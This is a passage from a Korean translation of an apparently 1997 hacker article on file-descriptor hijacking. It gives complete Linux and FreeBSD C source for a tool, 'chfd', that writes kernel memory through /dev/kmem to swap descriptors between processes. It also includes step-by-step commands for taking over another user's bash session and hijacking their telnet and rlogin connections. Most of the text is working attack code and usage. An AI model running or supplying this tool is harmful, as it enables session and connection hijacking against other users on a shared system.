    "gcc chfd.c. -o chfd -lkvm"명령과 함께 컴파일 하면 된다. 이 코드는 FreeBSD 2.2.1
    에서 작성 되었으며, 다른 버젼을 위해 좀 만져줘야 할 수도 있다.

    컴파일 된후에, chfd를 다음과 같이 실행한다.

    chfd pid1 fd1 pid2 fd2
    또는,
    chfd pid1 fd1 pid2 fd2 pid3 fd3

    첫번째 경우, fd는 단지 교환(swap)되었을 뿐이다. 두번째는 두번째 프로세스가 첫번째의
    fd를 얻고, 세번째(프로세스)가 두번째의 fd를 얻으며, 첫번째가 세번째의 fd를 얻어낸다.

    특별한 경우로, pid중의 하나가 0일 경우에 일치하는 fd가 버려지며, 그것 대신 /dev/null
    값이 fd에 pass된다.

     

    Example 1
    ---------

    . pid 207 이 긴 계산을 하며, tty로 output 되는 경우.
    . 당신이 "cat > somefile"을 실행시키고, 그것의 pid를 조사 했을 경우(1746)

    그렇다면

    chfd 207 1 1746 1

    이것은 그 계산을 "somefile"이란 파일로 리다이렉션 시킬것이며, 그 계산이 돌아가고있는
    tty를 화면에 출력할 것이다. 그러면 ^C로 화면에 출력되는 중요한 계산의 결과값에대한
    두려움 없이 실행을 중지할수 있다.


    Example 2
    ---------

    . 누군가 tty에서 bash의 복사본을 pid 4022로 돌리고 있을때.
    . 당신이 tty에서 bash의 또다른 복사본을 pid 4121로 돌리고 있을때.

    그러면

    sleep 10000
    # 당신의 bash에서 실행하면 당분간 tty에서 읽지 않을 것이다.
    # 그렇지 않으면 당신의 쉘은 /dev/null 로부터 EOF를 취한후에 죽을 것이다.
    # 그 세션은 즉시,

    chfd 4022 0 0 0 4121 0
    chfd 4022 1 0 0 4121 1
    chfd 4022 2 0 0 4121 2

    그리고 다른사람의 키 입력을 /dev/null로 보내는 동안에 bash와 output의 제어를 찾아라.
    당신이 쉘을 떠날때, 그는 그의 세션이 연결종료 됬다는것을 알아내고, 당신은 ^C로 당신의
    sleep를 죽이면 안전해 질수 있다.

    다른 쉘들은 아마 다른 fd를 사용할 것이다. zsh는 tty로 부터 읽어 들일때 fd 10을
    사용하는것 같은데, 그에 따라 직접 바꿔 줄 필요가 있을 것이다.

    Example 3
    ---------

    . 누군가 pid 6309로 tty에서 텔넷을 실행 시키고 있을때.
    . 당신이 pid 7081로 텔넷을 중요하지 않은 포트로 너무 빨리 드롭 되지 않도록 실행 시킬때.
    (telnet localhost 7, telnet www.yourdomain 80, 기타 등등)
    . 리눅스에서, 빠르게 /proc/6309/fd 와 /proc/7081/fd 를 살펴보면 텔넷이 사용하고 있는
    fd 0, 1,2,3( 3은 분명 그 커넥션일 것이다.)를 알수 있을 것이다.

    그러면

    chfd 6309 3 7081 3 0 0

    이것은 그 다른 사람의 텔넷 커넥션을 /dev/null 로 보낼것이다. (다른 사용자의 텔넷은 EOF를
    읽어 "Connection closed by foreign host."라는 메세지를 볼것이다.) 그리고 당신의
    텔넷은 스스로 그 다른 사용자의 리모트 호스트에 연결될 것이다. 이 시점에서 당신의 텔넷이
    연결 위치에 echo를 멈추도록 하기 위해 당신은 아마도 ^]를 누르고 "mode character"를
    칠것이다.

    Example 4
    ---------

    . 누군가 tty에서 rlogin를 돌리고 있을 경우. " 각자의 rlogin이 pid 4547과 4548를
      쓰고 있을때.
    . 당신은 다른 tty에서 pid 4852와 pid 4855로 rlogin localhost 을 돌리고,
    . /proc/../fds 와 관련된 것들을 빠르게 살펴봄으로서 rlogin 프로세스가 커넥션을 위해
      fd 3을 쓰고 있다는것을 알아 냈을때.

    그렇다면,

    chfd 4547 3 4852 3 (원문에서는 이부분이 chfd 4547 3 4552 3)
    chfd 4548 3 4855 3 (역시 chfd 4548 3 4555 3)

    당신의 rlogin이 일어날수 없는 이벤트(localhost로부터 데이터를 읽는것)를 기다리는
    것때문에 커널에 의해 당신의 rlogin이 아직 막혀 있는 경우를 제외하고 이것은 당신이
    기대한대로 동작할 것이다. 이러한 경우, 'fg'에 따라 kill -STOP을 실행 시킴으로서
    다시 rlogin을 깨울수 있다.

    당신은 아이디어를 얻었다. 프로그램이 다른 프로그램의 fd를 얻는 동안 그것을 가지고
    무엇을 해야할지 아는것은 중요하다. 대부분의 경우 당신은 같은 프로그램의 복사본을
    실행시키는 것으로 ,만약 /dev/null, stdin/stdout/stderr로 fd를 패스 하지
    않는한, 당신이 원하는것을 얻을수 있을 것이다.


    Conclusion
    ----------

    당신도 보았듯이, 이걸 가지고 꽤 무서운 짓을 할수 있다. 그리고 루트가 이것을 돌리는
    것으로 부터 당신 자신을 보호하는 것 또한 정말 어렵다.

    이것은 보안 구멍 조차 아니라는 점에서 논의 될수있다. 이 짓들이 가능하기 위해선
    루트가 *필요*하다. 반면에 /dev/kmem의 드라이버 코드 안에 당신이 /dev/kmem에
    쓰도록(write) 할 수 있는 명백한 코드는 없을것이다. 그렇지 않은가?

     

    The Linux code
    --------------

    <++> fd_hijack/chfd-linux.c
    /* chfd - exchange fd's between 2 or 3 running processes.
    *
    * This was written for Linux/intel and is *very* system-specific.
    * Needs read/write access to /dev/kmem; setgid kmem is usually enough.
    *
    * Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
    *
    * With two sets of arguments, exchanges a couple of fd between the
    * two processes.
    * With three sets, the second process gets the first's fd, the third gets
    * the second's fd, and the first gets the third's fd.
    *
    * Note that this is inherently unsafe, since we're messing with kernel
    * variables while the kernel itself might be changing them. It works
    * in practice, but no self-respecting program would want to do this.
    *
    * Written by: orabidoo <odar@pobox.com>
    * First version: 14 Feb 96
    * This version: 2 May 97
    */

    #include <stdio.h>
    #include <unistd.h>
    #include <fcntl.h>
    #define __KERNEL__ /* needed to access kernel-only definitions */
    #include <linux/sched.h>

    /* #define OLDLINUX */ /* uncomment this if you're using Linux 1.x;
    tested only on 1.2.13 */

    #define TASK 0x00192d28 /* change this! look at the system map,
    usually /boot/System.map, for the address
    of the "task" symbol */

    #ifdef OLDLINUX
    # define FD0 ((char *)&ts.files->fd[0] - (char *)&ts)
    # define AD(fd) (taskp + FD0 + 4*(fd))
    #else
    # define FILES ((char *)&ts.files - (char *)&ts)
    # define FD0 ((char *)&fs.fd[0] - (char *)&fs)
    # define AD(fd) (readvalz(taskp + FILES) + FD0 + 4*(fd))
    #endif


    int kfd;
    struct task_struct ts;
    struct files_struct fs;
    int taskp;

    int readval(int ad) {
    int val, r;

    if (lseek(kfd, ad, SEEK_SET) < 0)
    perror("lseek"), exit(1);
    if ((r = read(kfd, &val, 4)) != 4) {
    if (r < 0)
    perror("read");
    else fprintf(stderr, "Error reading...\n");
    exit(1);
    }
    return val;
    }

    int readvalz(int ad) {
    int r = readval(ad);
    if (r == 0)
    fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
    return r;
    }

    void writeval(int ad, int val) {
    int w;

    if (lseek(kfd, ad, SEEK_SET) < 0)
    perror("lseek"), exit(1);
    if ((w = write(kfd, &val, 4)) != 4) {
    if (w < 0)
    perror("write");
    else fprintf(stderr, "Error writing...\n");
    exit(1);
    }
    }

    void readtask(int ad) {
    int r;

    if (lseek(kfd, ad, SEEK_SET)<0)
    perror("lseek"), exit(1);
    if ((r = read(kfd, &ts, sizeof(struct task_struct))) !=
    sizeof(struct task_struct)) {
    if (r < 0)
    perror("read");
    else fprintf(stderr, "Error reading...\n");
    exit(1);
    }
    }

    void findtask(int pid) {
    int adr;

    for (adr=TASK; ; adr+=4) {
    if (adr >= TASK + 4*NR_TASKS)
    fprintf(stderr, "Process not found\n"), exit(1);
    taskp = readval(adr);
    if (!taskp) continue;
    readtask(taskp);
    if (ts.pid == pid) break;
    }
    }

    int main(int argc, char **argv) {
    int pid1, fd1, pid2, fd2, ad1, val1, ad2, val2, pid3, fd3, ad3, val3;
    int three=0;

    if (argc != 5 && argc != 7)
    fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]),
    exit(1);

    pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
    pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
    if (argc == 7)
    pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;

    if (pid1 == 0)
    pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
    if (pid2 == 0)
    pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
    if (three && pid3 == 0)
    pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);

    kfd = open("/dev/kmem", O_RDWR);
    if (kfd < 0)
    perror("open"), exit(1);

    findtask(pid1);
    ad1 = AD(fd1);
    val1 = readvalz(ad1);
    printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);

    findtask(pid2);
    ad2 = AD(fd2);
    val2 = readvalz(ad2);
    printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);

    if (three) {
    findtask(pid3);
    ad3 = AD(fd3);
    val3 = readvalz(ad3);
    printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
    }

    if (three) {
    if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
    fprintf(stderr, "fds changed in memory while using them - try again\n");
    exit(1);
    }
    writeval(ad2, val1);
    writeval(ad3, val2);
    writeval(ad1, val3);
    } else {
    if (readval(ad1)!=val1 || readval(ad2)!=val2) {
    fprintf(stderr, "fds changed in memory while using them - try again\n");
    exit(1);
    }
    writeval(ad1, val2);
    writeval(ad2, val1);
    }
    printf("Done!\n");
    }

    <-->

    The FreeBSD code
    ----------------

    <++> fd_hijack/chfd-freebsd.c

    /* chfd - exchange fd's between 2 or 3 running processes.
    *
    * This was written for FreeBSD and is *very* system-specific. Needs
    * read/write access to /dev/mem and /dev/kmem; only root can usually
    * do that, and only if the system is running at securelevel -1.
    *
    * Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
    * Compile with: gcc chfd.c -o chfd -lkvm
    *
    * With two sets of arguments, exchanges a couple of fd between the
    * two processes.
    * With three sets, the second process gets the first's fd, the third
    * gets the second's fd, and the first gets the third's fd.
    *
    * Note that this is inherently unsafe, since we're messing with kernel
    * variables while the kernel itself might be changing them. It works
    * in practice, but no self-respecting program would want to do this.
    *
    * Written by: orabidoo <odar@pobox.com>
    * FreeBSD version: 4 May 97
    */


    #include <stdio.h>
    #include <fcntl.h>
    #include <kvm.h>
    #include <sys/proc.h>

    #define NEXTP ((char *)&p.p_list.le_next - (char *)&p)
    #define FILES ((char *)&p.p_fd - (char *)&p)
    #define AD(fd) (readvalz(readvalz(procp + FILES)) + 4*(fd))

    kvm_t *kfd;
    struct proc p;
    u_long procp, allproc;
    struct nlist nm[2];

    u_long readval(u_long ad) {
    u_long val;

    if (kvm_read(kfd, ad, &val, 4) != 4)
    fprintf(stderr, "error reading...\n"), exit(1);
    return val;
    }

    u_long readvalz(u_long ad) {
    u_long r = readval(ad);
    if (r == 0)
    fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
    return r;
    }

    void writeval(u_long ad, u_long val) {
    if (kvm_write(kfd, ad, &val, 4) != 4)
    fprintf(stderr, "error writing...\n"), exit(1);
    }

    void readproc(u_long ad) {
    if (kvm_read(kfd, ad, &p, sizeof(struct proc)) != sizeof(struct proc))
    fprintf(stderr, "error reading a struct proc...\n"), exit(1);
    }

    void findproc(int pid) {
    u_long adr;

    for (adr = readval(allproc); adr; adr = readval(adr + NEXTP)) {
    procp = adr;
    readproc(procp);
    if (p.p_pid == pid) return;
    }
    fprintf(stderr, "Process not found\n");
    exit(1);
    }

    int main(int argc, char **argv) {
    int pid1, fd1, pid2, fd2, pid3, fd3;
    u_long ad1, val1, ad2, val2, ad3, val3;
    int three=0;

    if (argc != 5 && argc != 7)
    fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]),
    exit(1);

    pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
    pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
    if (argc == 7)
    pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;

    if (pid1 == 0)
    pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
    if (pid2 == 0)
    pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
    if (three && pid3 == 0)
    pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);

    kfd = kvm_open(NULL, NULL, NULL, O_RDWR, "chfd");
    if (kfd == NULL) exit(1);

    bzero(nm, 2*sizeof(struct nlist));
    nm[0].n_name = "_allproc";
    nm[1].n_name = NULL;
    if (kvm_nlist(kfd, nm) != 0)
    fprintf(stderr, "Can't read kernel name list\n"), exit(1);
    allproc = nm[0].n_value;

    findproc(pid1);
    ad1 = AD(fd1);
    val1 = readvalz(ad1);
    printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);

    findproc(pid2);
    ad2 = AD(fd2);
    val2 = readvalz(ad2);
    printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);

    if (three) {
    findproc(pid3);
    ad3 = AD(fd3);
    val3 = readvalz(ad3);
    printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
    }

    if (three) {
    if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
    fprintf(stderr, "fds changed in memory while using them - try again\n");
    exit(1);
    }
    writeval(ad2, val1);
    writeval(ad3, val2);
    writeval(ad1, val3);
    } else {
    if (readval(ad1)!=val1 || readval(ad2)!=val2) {
    fprintf(stderr, "fds changed in memory while using them - try again\n");
    exit(1);
    }
    writeval(ad1, val2);
    writeval(ad2, val1);
    }
    printf("Done!\n");
    }


    - 날림 번역본 보시느라고 수고 하셨습니다. ^^;; fd 가로채기라 그래서 흥미롭게 보
    다가 번역까지 손대게 되었군요. 원문이랑 비교하시면서 보세요.

    정윤진 (keberos@daum.net)
    ----------------------------------------------------------------------------------